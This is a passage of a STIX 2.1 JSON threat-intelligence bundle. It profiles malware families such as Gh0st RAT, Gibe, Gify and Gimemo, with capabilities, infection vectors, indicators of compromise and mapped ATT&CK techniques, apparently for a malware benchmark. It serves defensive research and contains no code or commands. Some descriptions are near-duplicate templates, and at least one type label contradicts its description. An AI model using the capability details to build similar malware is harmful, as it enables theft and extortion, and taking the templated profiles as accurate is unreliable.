(`T1528`). It then packages the stolen credentials, cookies, and system information into a ZIP file and exfiltrates it to a C2 server via HTTP or SMTP (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the massive compromise of user credentials, which can quickly lead to lateral movement within an enterprise or personal identity theft. Incident responders should monitor EDR for suspicious processes (especially those running from `%Temp%`) accessing browser user data directories (`Login Data`, `Cookies`) or calling `Crypt32.dll` to utilize DPAPI functions. Network logs will show a sudden, short burst of outbound traffic (often an HTTP POST or FTP upload) immediately after execution. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ggpass",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ggpass"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--673221ce-20be-5ae4-a3c8-1e515fc3f218",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f244f617-e869-57e5-8a7a-9c6dee2f1e2f",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ggpass exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1874a039-a1ed-52f4-a88d-babc58129dbb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f244f617-e869-57e5-8a7a-9c6dee2f1e2f",
      "target_ref": "attack-pattern--48e31a17-cfd2-5e97-9c95-7f8a76e001f3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ggpass exhibits technique T1528 (Steal Application Access Token (Session Cookies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--705a56f6-001a-58f1-8991-4779e1f97fda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f244f617-e869-57e5-8a7a-9c6dee2f1e2f",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ggpass exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56e44561-b673-5854-98cc-f85f3791df18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f244f617-e869-57e5-8a7a-9c6dee2f1e2f",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ggpass exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ad7489ed-914c-50d7-8423-f912864497c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gh0St",
      "description": "Gh0st RAT (also tracked as Ghost RAT, Backdoor.Gh0st, and Win32/Gh0st) is one of the most historically significant, modular, and widely weaponized Remote Access Trojans in cyber threat intelligence. Originally released in 2008 with public C++ source code by the Chinese hacker group C.Rufus Security Team, Gh0st RAT was rapidly adopted, customized, and deployed by dozens of advanced persistent threat (APT) groups\u2014most notably APT27 (Emissary Panda), APT41 (Barium / Winnti), APT30, and the operators behind the global GhostNet cyber espionage network. Documented extensively by CISA (Alert AA20-258A and related joint cybersecurity advisories) and MITRE ATT&CK under software ID S0032, Gh0st RAT provides attackers with complete interactive control over compromised endpoints. Its capabilities include real-time remote desktop streaming, webcam and microphone hijacking, multi-process keylogging, full file system management, remote shell access, and encrypted C2 communication utilizing customized 5-byte packet magic headers (such as 'Gh0st', 'cb0st', 'kitty', and 'ly0st') followed by zlib-compressed payloads. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Gh0st RAT",
        "Backdoor.Gh0st",
        "Win32/Gh0st",
        "Ghost RAT",
        "Trojan.Win32.Gh0st",
        "Gh0st.C.Rufus"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gh0St",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gh0st"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA20-258A"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03b7822b-164a-52ce-96cb-df4fc22e4bc5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad7489ed-914c-50d7-8423-f912864497c5",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gh0St exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a1d45b7-8a13-5c98-9e0f-e0cb1f436723",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad7489ed-914c-50d7-8423-f912864497c5",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gh0St exhibits technique T1125 (Video Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83cd909b-bb7a-5662-8aed-299a313f0703",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad7489ed-914c-50d7-8423-f912864497c5",
      "target_ref": "attack-pattern--ed2a807b-3451-5ba6-bc92-f7395d0d7084",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gh0St exhibits technique T1123 (Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3e18424-c10f-5df6-bee5-fe8467babeeb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad7489ed-914c-50d7-8423-f912864497c5",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gh0St exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81f605f9-401b-59a8-8bda-82324a421cb1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad7489ed-914c-50d7-8423-f912864497c5",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gh0St exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad8d3d7e-e437-5c8c-8234-3a0e4a091e9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad7489ed-914c-50d7-8423-f912864497c5",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gh0St exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--a73094ae-6cb5-53a9-a937-65ad0cac8744",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1573: Encrypted Channel",
      "description": "MITRE ATT&CK Technique T1573 (Encrypted Channel) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1573",
          "url": "https://attack.mitre.org/techniques/T1573/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01409475-1c75-5362-ad2f-b20069bcc89c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad7489ed-914c-50d7-8423-f912864497c5",
      "target_ref": "attack-pattern--a73094ae-6cb5-53a9-a937-65ad0cac8744",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gh0St exhibits technique T1573 (Encrypted Channel)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f9cb530-c8f6-50dc-9427-8db6c3474bbe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad7489ed-914c-50d7-8423-f912864497c5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gh0St exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--35ff4c12-8591-5525-9edd-a61ccd37cbd0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ghost",
      "description": "Gh0st RAT (also tracked in security taxonomies as GhostRAT or Backdoor.Gh0st) is a seminal open-source Remote Access Trojan originally authored in 2008 by the Chinese Red Hacker Alliance (Honker Union of China). Developed in C++ with Microsoft Foundation Classes (MFC), Gh0st RAT was engineered to provide real-time remote surveillance over high-latency networks, featuring real-time screen transmission, audio eavesdropping, remote shell execution, webcam capture, and full file system management.\n\nGh0st RAT entered the global spotlight in March 2009 during the landmark 'GhostNet' investigation conducted by the Munk School of Global Affairs at Citizen Lab. The research uncovered an expansive cyber espionage apparatus that systematically infected at least 1,295 computers across 103 countries\u2014infiltrating the private offices of the Dalai Lama, the Tibetan government-in-exile, foreign ministries, and international embassies. Because its source code was publicly released, countless state-sponsored APT groups (including APT27, APT30, and TA428) customized its network header (substituting the default 'Gh0st' 5-byte magic header with 'KrisR', 'Oxeed', 'HTTPS', or 'B0SS') and deployed it across hundreds of espionage campaigns for over a decade. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Gh0st RAT",
        "Gh0st",
        "GhostRAT",
        "Backdoor.Gh0st",
        "Win32/Ghost",
        "Trojan.GhostRAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ghost",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ghost"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--272b1aae-f963-5014-860d-1f07621a8fa0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35ff4c12-8591-5525-9edd-a61ccd37cbd0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ghost exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2bf5ed04-9c62-5aa7-8c72-63c331601964",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35ff4c12-8591-5525-9edd-a61ccd37cbd0",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ghost exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cec71f0b-6659-5b10-a758-8437ad0bbc98",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35ff4c12-8591-5525-9edd-a61ccd37cbd0",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ghost exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6287857d-f3b7-529d-94ab-8096fcf85568",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35ff4c12-8591-5525-9edd-a61ccd37cbd0",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ghost exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32533749-b3fc-573a-9b66-5e170c36e9ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35ff4c12-8591-5525-9edd-a61ccd37cbd0",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ghost exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d5d766f-732d-558a-b619-cbd42fc98c3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35ff4c12-8591-5525-9edd-a61ccd37cbd0",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ghost exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4ae7b417-bdc6-50a0-b6c4-e1e3c5c92dda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ghoul",
      "description": "Trojan:Win32/Ghoul is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ghoul</b><br>To an end-user, a Ghoul infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ghoul is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ghoul is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ghoul frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ghoul reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ghoul",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ghoul"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61de87ec-11fe-5dae-88d0-cb21b1a3d9e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ae7b417-bdc6-50a0-b6c4-e1e3c5c92dda",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ghoul exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--546b98c1-4910-5285-bf7f-108bb3db0e60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ae7b417-bdc6-50a0-b6c4-e1e3c5c92dda",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ghoul exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c19cbbc-f2aa-5512-a37a-b9e162072434",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ae7b417-bdc6-50a0-b6c4-e1e3c5c92dda",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ghoul exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e56cf757-a678-5d6a-870f-0a99a0ecaa16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ae7b417-bdc6-50a0-b6c4-e1e3c5c92dda",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ghoul exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a85aca94-c28d-56c7-bf5b-44e99236620d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ae7b417-bdc6-50a0-b6c4-e1e3c5c92dda",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ghoul exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--652ef298-e0c1-5754-8581-0f365572d134",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gibe",
      "description": "<h3>Executive Summary</h3>\nGibe (also known as Swen or Gibe.F) is a highly deceptive mass-mailing computer worm that gained notoriety in the early 2000s. It differentiates itself by aggressively employing social engineering, specifically masquerading as critical, official security updates from Microsoft. Its primary objective is rapid, widespread self-propagation to maximize the size of its botnet, which can then be utilized for distributed denial-of-service (DDoS) attacks or further malware deployment.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nGibe's primary vector is email. It arrives in user inboxes with forged sender addresses (often spoofing `admin@microsoft.com` or `security@microsoft.com`) and subject lines claiming to deliver a \"Newest Microsoft Security Update\" or \"Internet Explorer Patch.\"\n\nUpon the victim executing the attached file (often disguised as an `.exe`, `.pif`, or `.bat`), the worm activates:\n<ul>\n<li><strong>Deceptive Installation:</strong> Gibe often displays a highly convincing, fake graphical installation wizard mimicking a legitimate Windows update process. This keeps the user unaware while the worm silently installs itself in the background.</li>\n<li><strong>Mass Mailing (Self-Propagation):</strong> The worm immediately harvests email addresses from the local machine (scanning address books, temporary internet files, and local documents). It contains its own internal SMTP engine to blast out thousands of copies of itself to the harvested contacts.</li>\n<li><strong>Network Spreading:</strong> Beyond email, Gibe aggressively attempts to copy itself to open network shares (IPC$, C$) and peer-to-peer (P2P) file-sharing folders (like Kazaa or eMule directories) disguised as popular software or cracks.</li>\n<li><strong>Security Disabling:</strong> It actively attempts to terminate processes associated with popular antivirus and firewall software, leaving the machine vulnerable.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile older, the *tactics* of Gibe (spoofing trusted authorities) remain highly relevant. An outbreak causes severe network congestion due to the massive volume of outbound SMTP traffic and rapid lateral movement attempts. The disabling of local security software leaves endpoints completely exposed to secondary infections.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network and Port Blocking:</strong> Isolate infected subnets. Immediately block outbound SMTP traffic (Port 25) at the perimeter firewall for all unauthorized hosts to halt the mass-mailing propagation.</li>\n<li><strong>Malware Scanning and EDR:</strong> Deploy an enterprise-wide anti-malware sweep targeting the specific IoCs (hashes, file names) of the Gibe variant. Ensure EDR solutions are actively monitoring for attempts to disable security services.</li>\n<li><strong>Email Gateway Filtering:</strong> Update secure email gateways to filter out attachments utilizing the specific spoofed sender addresses and deceptive subject lines employed by the campaign.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "W32.Gibe",
        "Worm:Win32/Gibe",
        "Worm.Swen",
        "I-Worm.Gibe"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gibe",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gibe"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4132b0b-0992-58e2-ac47-d52bb2635653",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--652ef298-e0c1-5754-8581-0f365572d134",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gibe exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12595f02-bdc4-583f-8afb-6a098bc27a3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--652ef298-e0c1-5754-8581-0f365572d134",
      "target_ref": "attack-pattern--f79bf5b1-78d9-5d23-a22a-0801845c009f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gibe exhibits technique T1036.003 (Masquerading: Rename System Utilities (Using folder icons for executables))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c384f12b-bbe8-5dde-b784-c1fa20b97171",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--652ef298-e0c1-5754-8581-0f365572d134",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gibe exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8531183e-4e1a-5d16-8d89-24790a1e4fb3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gify",
      "description": "Gify (classified across threat intelligence repositories under signatures including TrojanDownloader:Win32/Gify, Trojan:Win32/Gify, and Trojan.Gify) is an evasive Windows trojan downloader active since 2016 that leverages image steganography to deliver malicious payloads. Infiltrating endpoints through malvertising networks, phishing emails, or compromised web applications, Gify bypasses network intrusion detection systems (NIDS) and email content filters by requesting legitimate-looking Graphics Interchange Format (.gif) image files from external image hosting portals or attacker-controlled web servers. Embedded within the pixel data or appended past the GIF file's 3B trailer byte, Gify extracts encrypted shellcode, decrypts the payload in memory using XOR or RC4 algorithms, and uses process hollowing or thread hijacking to launch secondary payloads including infostealers, cryptominers, or ransomware. (Observed samples in benchmark: 35)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Gify",
        "Trojan:Win32/Gify",
        "Trojan.Gify",
        "Win32/Gify",
        "Trojan-Downloader.Win32.Gify.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gify",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gify"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--637b2d5a-6520-5e13-b418-f598fed8bc0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gimemo",
      "description": "Gimemo (identified across antimalware research telemetry under signatures including Ransom:Win32/Gimemo, Trojan-Ransom.Win32.Gimemo, and Trojan.Gimemo) is a crypto-ransomware and extortion threat active since 2016. Infiltrating endpoints primarily through phishing email campaigns containing weaponized office documents and exploit kit redirections, Gimemo initiates rapid host reconnaissance upon execution. It terminates database, backup, and antimalware processes via taskkill, releasing open file locks across local drives and network shares. Gimemo traverses directory trees, encrypting documents, spreadsheets, databases, source code, and archives using AES-256 with an embedded RSA public key. It executes vssadmin commands to purge Volume Shadow Copies, modifies desktop wallpaper to display an extortion notice, and demands cryptocurrency payment in exchange for a decryption utility. (Observed samples in benchmark: 25)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Gimemo",
        "Trojan-Ransom.Win32.Gimemo",
        "Trojan.Gimemo",
        "Win32/Gimemo",
        "Ransom:Win32/Gimemo.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gimemo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gimemo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d05aeb9d-72ae-561c-bfab-d5ac44a5dca5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gippers",
      "description": "Trojan:Win32/Gippers is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Gippers</b><br>To an end-user, a Gippers infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Gippers is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Gippers is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Gippers frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Gippers reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries 